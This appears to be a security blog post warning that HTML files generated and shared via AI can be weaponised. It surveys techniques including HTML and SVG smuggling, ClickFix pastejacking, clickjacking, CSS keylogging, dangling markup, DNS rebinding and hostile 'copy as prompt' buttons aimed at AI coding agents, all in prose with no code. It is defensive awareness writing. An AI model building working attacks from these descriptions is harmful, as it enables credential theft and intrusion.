All the evil things HTML can do to you

All the evil things HTML can do to you

A couple of days ago I wrote a note about how everyone is now a coder - and maybe that’s more dangerous than the big bad Mythos.

This week an engineer on the Claude Code team made a case for making HTML, not Markdown your default output format from an AI. Richer, more readable, easy to share.

The ever astute AI soothsayer Simon Willison agreed.

And that is exactly what worries me. The case for HTML is quietly a case for a world where everyone generates, shares, opens and trusts HTML files built by an AI, and nobody ever reads the source.

So what’s wrong with that? It’s just a plain old text file, just like Markdown right?

Not quite. A file feels safer than a website. No sketchy URL in the address bar, no certificate warning - it’s just sitting there, one double-click to open. That instinct is WRONG.

A local HTML file runs with all the power of any web page and almost none of the friction. Sometimes more power, because it opens from inside your trusted network - the same network as your router, your NAS, your printer.

I put together a list of everything I could find that goes wrong when someone talks you into opening a malicious .html file, grouped roughly by how it gets you.

It’s a long list. That’s the point.

It runs code you never agreed to run

• HTML smuggling. The malicious payload rides along as a harmless-looking encoded blob inside the page, and a few lines of JavaScript reassemble the real file - an .exe, an ISO, a zip - right there in your browser. Nothing detectable crosses the network, so email gateways and web proxies wave it straight through. It’s the delivery van for Qakbot, IcedID, Pikabot and a stack of banking trojans. (Microsoft Security Blog)
• SVG smuggling - “but it’s just an image”. An SVG is XML, not pixels, so it can carry embedded JavaScript and an entire HTML document. Attackers now ship complete phishing pages inside a single .svg file that renders locally with no external requests. Malicious SVG attachments jumped 245% in early 2025. (Sophos, Securelist)
• Browser-engine zero-days. You don’t always need to be tricked into anything extra. Carefully crafted HTML and JavaScript can trip memory-corruption bugs in the browser’s own rendering engine - Chrome shipped emergency patches in December 2025 for flaws that fire just from rendering a page. Opening the file is the exploit. (Malwarebytes)
• Cryptojacking. The quiet one. The page compiles a mining routine to WebAssembly - near-native speed, hard for scanners to fingerprint - and burns your CPU for someone else’s Monero wallet for as long as the tab stays open. No payload, no persistence, just a hot laptop and a bigger electricity bill. (The Hacker News)

It cons you into attacking yourself

• ClickFix / pastejacking. A page - often a fake “verify you’re human” CAPTCHA - silently copies a PowerShell command to your clipboard, then walks you through pressing Win+R and pasting it. You run the malware yourself; no exploit, no download warning. The April 2025 KongTuke campaign made this the year’s defining initial-access trick. (Cybersecurity News, HackTricks)
• FileFix. ClickFix’s sneakier younger sibling, disclosed June 2025. Same con, but it opens a real File Explorer window and has you paste the disguised command into the address bar. People have learned to be wary of the Run dialog; almost nobody suspects File Explorer. It was seen in real campaigns within two weeks of disclosure. (Kaspersky, BleepingComputer)
• The “copy as prompt” button. The one that should worry you most - because it isn’t an attack, it’s a recommended workflow. The HTML-as-output movement leans hard on purpose-built “copy as prompt”, “copy as JSON” and “copy diff” buttons that hand you a blob to paste into a terminal or into Claude Code. That is pastejacking with the social engineering pre-installed: the muscle memory - click the button, paste into a shell - is being deliberately trained. A malicious file needs no fake CAPTCHA and no Win+R script. It just needs the button to copy something other than what the label promises.
• Browser-in-the-browser (BitB). A fake operating-system popup - a “Sign in with Google/Microsoft” window, complete with a fake address bar showing the real domain - drawn entirely in HTML and CSS. It’s a picture of a login box. You can’t drag it past the edge of the page, because it isn’t a window. (mr.d0x, The Hacker News)
• Browser-locker tech-support scams. Fullscreen API, dialog loops that won’t dismiss, and history.pushState() flooding to make the back button useless - together they freeze your browser on a fake “your computer is infected, call Microsoft” screen. The fix is Task Manager, but panicked people phone the number. (Malwarebytes)
• Clickjacking / UI redressing. The page loads a real site you’re logged into - your router admin, a “delete account” button, a payment confirmation - in an invisible iframe, positioned so the cheerful button you think you’re clicking is actually a control on the framed site. You authorise the attacker’s action with your own session. (OWASP)
• Reverse tabnabbing. A link opened with target="_blank" can hand the new page a window.opener reference back to the page that launched it - which it uses to silently redirect your original tab to a convincing phishing clone while your attention is elsewhere. (OWASP)

It harvests your credentials, sessions and data

• Credential-harvesting phishing - straight from disk. A local HTML file can be a pixel-perfect fake login page. Opened from your filesystem there’s no suspicious domain to give it away - arguably more convincing than the hosted version of the same attack. (Kaspersky)
• Adversary-in-the-middle phishing kits. Kits like Tycoon 2FA run as a reverse proxy: they relay your real login to Microsoft or Google, pass the MFA prompt through, and walk off with the resulting session cookie. They don’t break MFA - they wait until you’ve passed it and steal the authenticated session. ~500k organisations were hit per month before the takedown in March 2026. (Microsoft Security Blog)
• CORS abuse. If a site you’re logged into has a misconfigured Access-Control-Allow-Origin header, a malicious page you open can read its responses cross-origin - quietly siphoning data from your authenticated sessions. (OWASP WSTG)
• Cross-Site WebSocket Hijacking. WebSocket connections aren’t bound by the same-origin policy and often ride your cookies. A malicious page can open a WebSocket back to a site you’re authenticated to and get a live, authenticated channel of its own. (OWASP WSTG)
• Browser-storage raiding. localStorage, sessionStorage, IndexedDB and cookies are all readable from script. Apps routinely stash session tokens, JWTs, API keys and PII there. A page in the right origin context just reads it out - and can poison stored values to seed a later attack. (OWASP WSTG)
• Scriptless exfiltration #1 - CSS keylogging. Even with JavaScript disabled: a @font-face rule combined with attribute selectors can fire a network request for (almost) every character typed into a form field. No script required. (PortSwigger Research)
• Scriptless exfiltration #2 - dangling markup. An unclosed tag swallows everything up to the next > - including CSRF tokens and session IDs - into an image URL and ships it to the attacker. It sails past strict CSP and XSS filters because there’s no script to block. (HackTricks)

It exploits the trust of where the file sits

• The file:// trust collapse. Opened from disk, an HTML file runs in a local context. Depending on the browser and its flags, it can reach other files on your disk - config files, SSH keys, .env files, documents - and simply opening a hostile attachment can be enough to expose them. (Kaspersky)
• LAN pivot via DNS rebinding. Because the file runs from inside your network, it can quietly probe 127.0.0.1 and 192.168.x.x. DNS rebinding tricks the browser into treating the attacker’s domain as a local address, letting scripts reach your router admin panel, NAS or smart devices - many of which assume “on the LAN” means “trusted”. Confirmed against Google Home, Sonos and Roku, among others. (Unit 42)
• Service-worker persistence. A page can register a service worker that keeps running after you close the tab. It sits in the background, intercepts future network requests for its scope, and can serve poisoned responses - persistence that never touches the filesystem. (Akamai, TrustedSec)
• Protocol-handler abuse. HTML can invoke Windows URI handlers to reach out of the browser - search-ms: to pop a Windows Search window pointed at an attacker’s file share, or ms-msdt: (the Follina technique) to launch the diagnostic tool and run PowerShell. (dfir.ch, BleepingComputer)

The classics, still worth restating

• Cross-site scripting (XSS). The original sin. DOM-based XSS - where attacker-controlled input is written into the page by client-side code - needs no server round-trip at all, which makes a standalone HTML file a perfectly good host for it. (OWASP Top 10 Client-Side Risks)
• Poisoned CDNs and supply chain. That innocent <script src="..."> pointing at a third-party CDN is a live trust relationship. If the CDN, the package, or the account behind it is compromised, your page runs whatever they push next. OWASP files this under “Vulnerable and Outdated Components” and “Lack of Third-party Origin Control” - and it’s exactly the random-bundle problem from the last post. (OWASP Top 10 Client-Side Risks)
• Hidden characters in scripts (Trojan Source). Unicode bidirectional and homoglyph tricks mean the code a human reviews isn’t the code that runs - an invisible early return, or a function call routed to a look-alike name. The script you skim and the script the browser executes are two different programs. (Threatpost)

The common thread

None of this needs you to be careless. It needs you to be helpful - to open the file, paste the command, click the friendly button, trust the thing on your own disk because it’s on your own disk.

Treat a stranger’s .html the way you’d treat a stranger’s .exe. Because, increasingly, that’s exactly what it is.